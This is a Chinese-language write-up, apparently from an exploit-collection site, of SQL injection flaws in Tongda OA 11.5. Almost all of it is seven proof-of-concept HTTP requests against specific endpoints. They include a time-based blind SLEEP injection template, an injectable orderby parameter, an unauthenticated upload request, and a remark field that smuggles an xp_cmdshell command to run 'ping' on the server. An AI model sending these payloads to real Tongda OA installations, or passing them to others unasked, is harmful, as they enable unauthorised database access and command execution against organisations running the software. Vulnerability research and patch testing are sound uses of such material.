通达oa 11.5 sql注入漏洞¶

一、漏洞简介¶

利用条件：¶

一枚普通账号登录权限，但测试发现，某些低版本也无需登录也可注入。

二、漏洞影响¶

通达oa 11.5

三、复现过程¶

poc 一¶

POST /general/appbuilder/web/calendar/calendarlist/getcallist HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Referer: https://www.0-sec.org/portal/home/
Cookie: PHPSESSID=54j5v894kbrm5sitdvv8nk4520; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c9e143ff
Connection: keep-alive
Host: www.0-sec.org
Pragma: no-cache
X-Requested-With: XMLHttpRequest
Content-Length: 154
X-WVS-ID: Acunetix-Autologin/65535
Cache-Control: no-cache
Accept: */*
Origin: https://www.0-sec.org
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

starttime=AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])---&endtime=1598918400&view=month&condition=1

poc 二¶

GET /general/email/sentbox/get_index_data.php?asc=0&boxid=&boxname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=sample%40email.tst&orderby=1&pagelimit=20&tag=&timestamp=1598069133&total= HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: https://www.0-sec.org/
Cookie: PHPSESSID=54j5v894kbrm5sitdvv8nk4520; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c9e143ff
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: www.0-sec.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Connection: close

poc 三¶

GET /general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3--&pagelimit=10&tag=&timestamp=1598069103&total= HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: https://www.0-sec.org
Cookie: PHPSESSID=54j5v894kbrm5sitdvv8nk4520; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c9e143ff
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: www.0-sec.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Connection: close

poc 四¶

GET /general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: https://www.0-sec.org
Cookie: PHPSESSID=54j5v894kbrm5sitdvv8nk4520; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c9e143ff
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: www.0-sec.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Connection: close

poc 五¶

无需登陆

POST /general/file_folder/swfupload_new.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Referer: http://192.168.202.1/
Connection: close
Host: 192.168.202.1
Content-Length: 391
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Content-Type: multipart/form-data; boundary=----------GFioQpMK0vv2

------------GFioQpMK0vv2
Content-Disposition: form-data; name="ATTACHMENT_ID"

1
------------GFioQpMK0vv2
Content-Disposition: form-data; name="ATTACHMENT_NAME"

1
------------GFioQpMK0vv2
Content-Disposition: form-data; name="FILE_SORT"

2
------------GFioQpMK0vv2
Content-Disposition: form-data; name="SORT_ID"

------------GFioQpMK0vv2--

poc 六¶

会过滤掉：空格、制表符、换行符、回车符、垂直制表符等。只能报错，或尝试 and 等语句判断还是没有问题的。

POST /general/file_folder/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Referer: http://192.168.202.1/general/file_folder/public_folder.php?FILE_SORT=1&SORT_ID=59
X-Resource-Type: xhr
Cookie: PHPSESSID=g1njm64pl94eietps80muet5d7; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=fab32701
Connection: close
Host: 192.168.202.1
Pragma: no-cache
x-requested-with: XMLHttpRequest
Content-Length: 82
x-wvs-id: Acunetix-Deepscan/209
Cache-Control: no-cache
accept: */*
origin: http://192.168.202.1
Accept-Language: en-US
content-type: application/x-www-form-urlencoded; charset=UTF-8

CONTENT_ID_STR=222&SORT_ID=59&FILE_SORT=1&action=sign

poc 七¶

POST /general/appbuilder/web/meeting/meetingmanagement/meetingreceipt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Referer: http://192.168.202.1/general/meeting/myapply/details.php?affair=true&id=5&nosign=true&reminding=true
X-Resource-Type: xhr
Cookie: PHPSESSID=g1njm64pl94eietps80muet5d7; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=fab32701
Connection: close
Host: 192.168.202.1
Pragma: no-cache
x-requested-with: XMLHttpRequest
Content-Length: 97
x-wvs-id: Acunetix-Deepscan/186
Cache-Control: no-cache
accept: */*
origin: http://192.168.202.1
Accept-Language: en-US
content-type: application/x-www-form-urlencoded; charset=UTF-8

m_id=5&join_flag=2&remark='%3b%20exec%20master%2e%2exp_cmdshell%20'ping%20172%2e10%2e1%2e255'--